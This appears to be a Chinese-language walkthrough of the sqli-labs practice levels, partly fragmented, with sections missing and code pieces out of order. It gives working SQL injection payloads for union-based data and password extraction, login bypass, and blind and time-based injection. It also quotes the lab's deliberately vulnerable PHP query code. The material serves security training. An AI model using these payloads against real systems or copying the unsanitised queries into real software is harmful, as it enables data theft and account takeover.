// 输入?id=1',返回如下报错: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
手工注入
1 2 3 4 5
?id=1' or 1=1--+ // ID参数在拼接sql语句时,未对id进行任何过滤操作,所以当提交 'or 1=1--+,直接构造的sql语句就是:SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1
?id=1' order by 3--+ // Order by 对前面的数据进行排序,这里有三列数据,用order by 3,超过3就会报错
// 爆数据库 ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
// 爆security数据库的数据表 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
// 爆users表的列 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
// 爆数据 ?id=-1' union select 1,username,password from users where id=2--+
less-2: GET-报错注入-Intiger
源码SQL语句
1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
报错信息
1 2 3
// 输入?id=1',返回如下报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
手工注入
1 2 3 4
?id=1 or 1=1 ?id=1 or 1=1--+
// union注入同less-1, 去掉'即可
less-3: GET-报错注入-单引号带括号-String
源码SQL语句
1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
报错信息
1 2 3
// 输入?id=1',返回如下报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
手工注入
1 2 3
?id=1')--+
// payload与less-1中类似,只需要将less-1中的 ' 添加)即')
less-4: GET-报错注入-双引号-String
源码SQL语句
1
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
报错信息
1 2
// 输入?id=1",返回如下报错: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
// 使用 MySQL 查询语句查询 users 表中 id 为 $id 的记录。 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
// 如果查询结果不为空,则在页面上输出 "You are in..........."。 if($row) { echo'<font size="5" color="#FFFF00">'; echo'You are in...........'; echo"<br>"; echo"</font>"; } // 如果查询结果为空,则在页面上输出 MySQL 的错误信息。 else { echo'<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo"</br></font>"; echo'<font color= "#0000ff" font size= 3>'; } } // 如果未设置 GET 参数 "id",则在页面上输出 "Please input the ID as parameter with numeric value"。 else { echo"Please input the ID as parameter with numeric value";}
?>
从源代码中可以看到,运行返回结果正确的时候只返回you are in….,不会返回数据库当中的信息,需要用盲注的思路进行注入
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
if($row) { echo'<font size="5" color="#FFFF00">'; echo'You are in...........'; echo"<br>"; echo"</font>"; } else { echo'<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo"</br></font>"; echo'<font color= "#0000ff" font size= 3>'; } } else { echo"Please input the ID as parameter with numeric value";}
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1
从错误中分析到程序对参数进行单引号的处理,username使用如下payload,密码随意:
1
admin' or '1'='1#
返回的正确的结果,当我们提交username和password后,后台形成的sql语句为:
1 2 3
@$sql="SELECT username, password FROM users WHERE username='admin' or '1'='1# and password='$passwd' LIMIT 0,1";
// 在#以后的内容就被注释掉,前面的内容因为or1=1恒成立,所以语句成立
使用union注入:1admin' union select 1,database()#
less-12: Post-报错注入-双引号-String with twist
源码SQL语句
1 2 3
$uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
分析源码可利用")进行注入
也可以构造admin"分析错误回显,可用")进行注入
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1
payload
1 2 3
admin") or "1"=1#
1admin") union select 1,database()#
less-13: POST-二次注入-单引号-with twist
源码SQL语句
1
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
报错信息
输入admin',返回如下报错:
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') and password=('') LIMIT 0,1' at line 1
本关不会显示登录信息,只能给一个是否登录成功的返回数据,因此使用盲注思路
手工注入
1 2 3 4 5 6 7
// 猜测数据库第一位 username: admin') and left(database(),1)>'a'#&passwd=1&submit=Submit
// 猜测数据库第二位 username: admin') and left(database(),2)>'se'#&passwd=1&submit=Submit
以此类推...
less-14: POST-二次注入-双引号-with twist
源码SQL语句
1 2 3
$uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
进行了 “ 操作,与less-13类似,利用盲注思路
Payload
1 2 3
admin" and left(database(),1)>'a'#&passwd=1&submit=Submit
admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit // 查看版本信息
less-15: POST-盲注-布尔/时间型-单引号
源码SQL语句
1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
本关没有错误提示,只能靠猜测进行注入,利用延时注入
延时注入
1 2
// 猜测数据库名第一位: admin' and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit // 正确时可以直接登录,不正确时延时5秒
// Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
// Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return$value; }
// take the variables if(isset($_POST['uname']) && isset($_POST['passwd']))
{ //making sure uname is not injectable $uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname."\n"); fwrite($fp,'New Password:'.$passwd."\n"); fclose($fp);
// connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo"<br>"; if (mysql_error()) { echo'<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo"</br></br>"; echo"</font>"; } else { echo'<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo"<br>"; echo"</font>"; } echo'<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; echo"</font>";
} else { echo'<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo"</br>"; echo'<img src="../images/slap1.jpg" />'; echo"</font>"; } }
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); if(!isset($_COOKIE['uname'])) { //including the Mysql connect parameters. include("../sql-connections/sql-connect.php");